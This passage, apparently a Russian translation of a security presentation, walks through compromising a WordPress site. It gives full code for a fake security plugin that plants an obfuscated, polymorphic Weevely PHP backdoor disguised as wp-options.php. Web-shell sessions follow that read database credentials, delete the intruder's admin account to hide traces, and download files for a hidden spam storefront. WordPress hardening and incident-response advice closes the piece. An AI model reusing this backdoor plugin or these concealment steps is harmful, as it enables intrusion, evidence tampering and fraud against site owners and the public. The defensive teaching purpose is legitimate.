Помимо того, что код обфусцирован, он является еще полиморфным, т.е. в нем присутствует некий случайный элемент, являющийся уникальным для каждого кода, генерируемого Weevely – такой подход позволяет предотвратить обнаружение кода антивирусным ПО и другим сканерами вредоносных программ после его загрузки.

Итак, как же нам загрузить файл weevely.php на целевой веб-сервер?

  • Благодаря эксплойт модулю Metasploit мы создали профиль администратора на сайте WordPress, а администраторы на площадке WordPress могут загружать плагины, содержащие файлы с разрешением.php.
  • Но незнакомый плагин, присутствие которого не предполагалось, может стать еще более очевидной уликой вторжения в консоль управления – согласно статистике, пользователи гораздо чаще обращают внимание на плагины, чем на зарегистрированных пользователей. Поэтому владелец сайта может просто удалить наш плагин вместе с содержащемся в нем коде бэкдор.
  • Итак, мы загрузили плагин, который создаст бэкдор при его активации, при этом бэкдор он разместит вне директории самого плагина. Затем мы удалим и плагин, и аккаунт администратора, скрыв признаки проникновения на сайт.
  • Мы разместим код бэкдор в главной директории движка WordPress и назовем его wp-options.php (который не является частью сайта WordPress), чтобы удобней было замаскировать его под легальный файл.

Другие варианты размещения и установки бэкдор – в скрытой директории, которую мы создадим, или либо спрятать глубоко в директории wp-content/uploads.

Мы стараемся избегать размещения бэкдор в директориях wp-admin или wp-includes, т.к. его могут удалить во время обновления версии WordPress.

Плагин Weevely

Наш плагин, который доставит бэкдор в нужное место, выгляди следующим образом:

<?php
/*
Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI: http://wordpress.org/plugins/wp-elite-security
License: GPL3
*/

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
/**
 * Enhanced Security Keys and Salts.
 *
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 *
 * @since 4.0.0
 */
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
ENDOFSTRING;

  $str = "<" . "?php\n" . $str . "\n?" . ">\n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );

}

register_activation_hook( __FILE__, 'wesp_activate' );
?>

Строка заголовка полностью придуманный бред, это сделано на случай, если кто-то загрузит плагин во время непродолжительного периода, который у нас будет на его установку.

Мы встроим в плагин единственную функцию, которая заработает после его активации. Функция заключается в создании нового файла /var/www/html/wp-options.php и вписанного в него бэкдор-кода созданого Weevely.

Заметьте, что мы добавили несколько комментариев, которые в действительности полнейший вымысел, в начало файла, содержащего бэкдор. Это сделано с целью придать ему как можно более безобидный вид на случай, если владелец сайта найдет его и просмотрит. Ключ защиты и прочие средства не следует мешать вместе, все должно выглядит на подобие обфусцированного PHP-кода, т.е. быть почти незаметным.

Также заметьте, что мы удалили PHP-тэги из файла Weevely, мы добавим их позднее – это сделано, чтобы предотвратить его преждевременный запуск во время работы плагина.

Загрузка плагина содержащего бэкдор

Упакуйте в папку Zip наш плагин wp-elite-security, загрузите его и активируйте.

Использование программы Weevely

После того, как мы установили бэкдор, мы можем с атакующей машины установить соединение непосредственно с сервером и таким образом выполнить любую команду по нашему желанию:

root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/myblog2.catseye.org/wp-options.session'
www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $ :system.info
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses'
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new'
+--------------------+------------------------------------------------------------------------------------+
| client_ip          | 192.168.4.144                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
+--------------------+------------------------------------------------------------------------------------+
www-data@myblog2:/var/www/html $

К примеру, вы можете напечатать :help и получите список всех встроенных команд, поддерживаемых Weevely. А все, что не начинается с двоеточия, воспринимается, как команда для веб-сервера-жертвы.

Скрываем следы своего присутствия

Теперь, когда мы знаем, что установленный нами бэкдор работает, убираем все следы нашего посещения сайта с помощью аккаунта администратора, для чего необходимо выполнить следующие шаги:

  • Отключите  только что установленный плагин.
  • Удалите плагин, который мы только что установили.
  • Хотелось бы еще удалить аккаунт администратора, но мы не можем это сделать из своего аккаунта, поэтому просто выходим из системы.

Мы можем удалить аккаунт администратора, созданного эскплойтом, если сами обновим базу данных сайта. Если понадобится, можно будет создать новый аккаунт позднее.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"

No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin |
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $

Получить идентификационные данные мы можем через wp-config.php  и использовать эту лазейку для получения любой нужной нам информации из базы данных сайта.

Открываем интернет-магазин

Давайте загрузим некоторые HTML файлы на сервер сайта, чтобы создать адрес (не существующего) интернет магазина в скрытой директории.

URL адресом нашего магазина будет:  http://myblog2.catseye.org/wp-content/uploads/2014/10/.store

www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
index.html
shopkeepers.jpg
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $
[!] Exiting. Bye ^^
root@badguy2: ~#

Наш виртуальный магазин

Теперь мы готовы направить 15 млн. писем с URL-адрес нашего магазина!!

Магазин в потайной директории

Вопросы?

Это конец презентации, а слайды, которые идут далее, содержат советы о том, как обезопасить ваш сайт на движке WordPress, а также другую справочную информацию.

Как обеспечить безопасность вашему сайту, работающему на WordPress

Своевременное выполнение обновлений:

  1. Проверяйте не вышли ли новые обновления системы WordPress, тем и плагинов не реже раза в неделю и своевременно выполняйте обновления.

«Но я не хотел бы нарушить уже отлаженные настройки!»

  • Заведите «пробный» сайт, где вы будете апробировать все свежие обновления, прежде чем установить их на основной работающий сайт. Такой проверкой может быть даже установка WordPress на ваш компьютер, если вы не хотите платить за хостинг услуги еще одного сайта.
  • Подождите примерно 2-3 дня, не более, после выхода обновлений, посмотрите в отзывах на форумах о проблемах с новыми обновлениями, и если таковых нет, то можете спокойно обновлять систему.
  • При маловероятном исходе событий, обновление системы может привести к нарушению нормальной работы сайта. В таком случае вернитесь к предыдущей версии (через шелл или SFTP-доступ), либо восстановите сайт из резервной копии (вы ведь регулярно создаете резервные копии, не так ли?).

Вы также можете бесплатно скачать приложение BitNami Stack для WordPress из магазина Mac App Store. Оно позволит с легкостью управлять «пробным» сайтом с экрана вашего компьютера.

Немного больше внимания и усилий потребуют приложения WAMP (для Windows) или MAMP (для Mac).

 

Либо для полного контроля можно арендовать сервер с ОС Linux, который будет выполнять роль виртуальной машины у вас на компьютере.

Позаботьтесь о надежной защите паролей:

  • Если доступ к управлению сайтом имеете только вы и авторы, ограничьте (через настройку конфигураций на веб-сервере) географическое расположение мест, откуда можно входить в систему.
  • В других случаях используйте плагины, такие как Limit Login Attempts или Login Security Solution, ограничивающие число попыток авторизации, предотвращая взлом пароля простым угадыванием.
  • Не сообщайте никому постороннему и не храните на компьютере данные об используемых никах для входа на WordPress. Не следует иметь аккаунт под ником «admin» (если у вас такой существует, замените его на любой другой), и убедитесь, что действительные имена и фамилии авторов, отображаемые в панели управления сайта, не используются ими в качестве логинов для входа (если таковые есть, попросите заменить их на ники).

Следите за защитой паролей:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или аккаунтов.
    • Убедитесь, что все ваши пароли достаточно длинные и сложные.
  • Наилучший вариант: создавайте случайные одноразовые пароли с помощью менеджера паролей, например, такие как 1Password или PassPack.
  • Либо: используйте в пароле от четырех и более слов, несвязанных между собой по смыслу (например, «правильный, лошадь, батарея, скоба»).
  • Либо: используйте начальные буквы каждого слова в некоем придуманном вами или взятом из книг предложении, добавив туда числа и знаки пунктуации.

В марте 2013 года интернет-издание Ars Technica опубликовало статью о том, как легко можно взломать пароль.

Если вы решили использовать слова, ни в коем случае не составляйте из них фразы – убедитесь, что слова не связаны по смыслу. Даже редко употребляемые фразы легко угадать, если их использовать в качестве пароля.

Вам необходимо уделить больше внимания двум параметрам защиты: ваш пароль не должен легко разгадываться, и если один из паролей украдут (с этого или других сайтов), убедитесь, что злоумышленник не сможет воспользоваться им для входа в другие используемые вами сервисы.

Поскольку, как оказалось, пароль довольно легко взломать, то ограничить географию мест, откуда пользователи могут входить в аккаунт. Или вам действительно так необходимо свободно входить в панель управления сайтом – без использования VPN – скажем, из какой-нибудь кофейной во Вьетнаме?

Хостинг и (протокол безопасных соединений) SSL:

  • Выбирайте только надежного хорошо зарекомендовавшего себя поставщика хостинг услуг, у которого тщательно следят за вопросами безопасности (прежде чем воспользоваться услугами провайдера, поинтересуйтесь у него о гарантиях безопасности для вашего сайта).
    • Отдавайте предпочтение хостинг провайдеру, который позволит вам установить и самостоятельно управлять движком WordPress, а также всеми имеющимися на площадке темами и плагинами. Таким образом вы будете иметь полный контроль над безопасностью своего сайта.
    • Выбирайте хостинг поставщика, который обеспечивает безопасность операционной системы, веб-сервера, и сервера баз данных для своих клиентов, а также выполняет резервное копирование сайтов своих клиентов.
      • Регулярно проверяйте выполняет ли ваш провайдер хостинга все обновления вовремя, чтобы быть уверенным, что на сайте используется последняя версия патчей ОС, веб-сервера и сервера БД, какие бы дистрибутивы изначально и какое ПО не использовал провайдер, они должны быть своевременно обновляться и иметь поддержку разработчика.
  • Используйте протокол SSL (HTTPS) для страницы аутентификации и для других страниц, доступных только администратору.
    • Если вы не будете использовать протокол SSL, ваше имя пользователя и пароль будут каждый раз отправляться через общедоступную сеть прямым текстом, и могут быть перехвачены.
  • Выберите хостера, который позаботился о предоставлении вам SSL-сертификата, управлении/продлении его действия, и настройке веб-сервера для SSL, так что все, что вам нужно будет сделать, это включить его в WordPress.

Не выбирайте хостинг провайдера, основываясь только на стоимости его услуг!

Веб-сервер и система файлов:

  • Заблокируйте доступ к директориям wp-includes и wp-admin/includes
  • Заблокируйте доступ к .htaccess файлам
  • Заблокируйте доступ или удалите файлы с разрешением .txt и README.
  • Убедитесь, что права на запись к файлам и каталогам, установлены только вам. Последняя цифра разрешения должно всегда быть 0, 4, или 5, но не 6 или 7.

Прочие вопросы:

  • Обеспечьте безопасность ваших баз данных:
    • При установке WordPress выберите для таблицы базы данных иной префикс, чем wp_.
    • Удалите базу данных test.
    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что у базы данных нет свободного доступа через сеть Интернет.
  • Включайте разрешение на редактирование файлов только, когда необходимо внести изменения в тему оформления сайта. Все остальное время у вашего сайта должен быть установлен запрет на редактирование. Для этого в файл wp-config.php добавьте следующую строку:
define('DISALLOW_FILE_EDIT', true);
  • Просканируйте свой сайт программой WPScan.

Имейте в виду, что изменение префикса базы данных не остановит от вторжения эксплойта наподобие такого, какой мы создавали сегодня: эксплойт модуль Metasploit определил таблицу базы данных прежде, чем приступил к созданию аккаунта администратора. Однако, изменение префикса может помочь предотвратить другие атаки, и поэтому это следует сделать.

Включение функции ЗАПРЕТА НА РЕДАКТИРОВАНИЕ ФАЙЛОВ можно, пожалуй, назвать крайней мерой.

Что делать, если произошло проникновение на ваш сайт (ваш сайт взломали)

  1. Переведите сайт на автономную работу (установите профилактический режим). Это поможет не дать злоумышленнику нанести других повреждений сайту или не позволит ему помешать вам восстановить контроль, пока вы исправляете уже созданные взломщиком проблемы.
  1. Сообщите своему хостинг провайдеру о взломе сайта и попросите о помощи.
  2. Создайте резервную копию взломанного сайта, на случай если вам понадобится изучить его позднее.
  3. Просмотрите лог-файлы , чтобы определить, как злоумышленник проник на сайт. Это поможет вам узнать, как устранить проблему и  отыскать, что сделал злоумышленник.
  4. Обновите все, что можно обновить.
  5. Удалите все файлы, страницы, посты, комментарии или процессы, созданные и добавленные взломщиком. Если сомневаетесь, все ли удалили, то запустите новый сайт на WordPress и затем восстановите на его базе последнюю имеющуюся у вас хорошего качества резервную копию сайта.
  6. Замените все пароли, использовавшиеся на сайте. А также смените пароли к админке хостинг провайдера и пароли к базе данных.

Как минимизировать последствия атаки

  • Запретить регистрацию пользователей. Для комментариев используйте аккаунты в социальных сетях.
  • Не публикуйте конфиденциальную информацию на своем сайте (кредитные карты, номер социального страхования, информацию о здоровье и т.д.).
  • Установите автоматическое создание ежедневных бэкапов (как всех файлов, так и базы данных) и тестируйте их на исправность каждый месяц.
  • Делайте заметки о том, как вы настраиваете сайт, так чтобы в дальнейшем знать, какие конфигурации изначально использовались.
  • Составьте примерный план действий на случай взлома вашего сайта – с кем связаться, что делать в такой ситуации и как делать.

Если вы не будете использовать WordPress аккаунты для оставления комментариев, это решит многие проблемы с безопасностью, где главным уязвимым местом являются слабые пароли таких комментаторов вместе с email адресами, которые злоумышленнику можно легко узнать.

Ведение записей служит нескольким целям: во-первых, у вас будут записи того, какие настройки вы использовали, так что в случае каких-либо изменений на сайте, сделанных злоумышленником, вы сможете сразу это определить и устранить его ловушки; во-вторых, вы сможете создать, в случае необходимости, новый сайт с аналогичными настройками, не беспокоясь о том, все ли верно вы воссоздали, в-третьих, ведение записей будет вас стимулировать относиться более внимательно к тому, что вы делаете и к выбору того или иного решения, а также позволит иметь более четкое представление о работе сайта в целом.

Уязвимости площадки WordPress

Представленные далее сайты могут быть полезными, если вы хотите получить более подробную информацию об уязвимостях и возможных вариантах вторжения на WordPress:

Список используемых источников

Если вы хотите узнать об уязвимостях и как хакеры их используют, то список OWASP Топ-10 (указанный выше) может стать хорошей отправной точкой в таком изучении.

Также для продвинутых читателей может быть интересен анализ уязвимостей при сериализации PHP объектов, это была, пожалуй, одна из наиболее сложных уязвимостей, устраненная в 2013 году в сентябрьской версии WordPress 3.6.1:

—————————————-

На этом всё! Планирую в скором времени опубликовать перевод презентации о которой упоминал автор в начале статьи, если вас заинтересовала эта тема подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!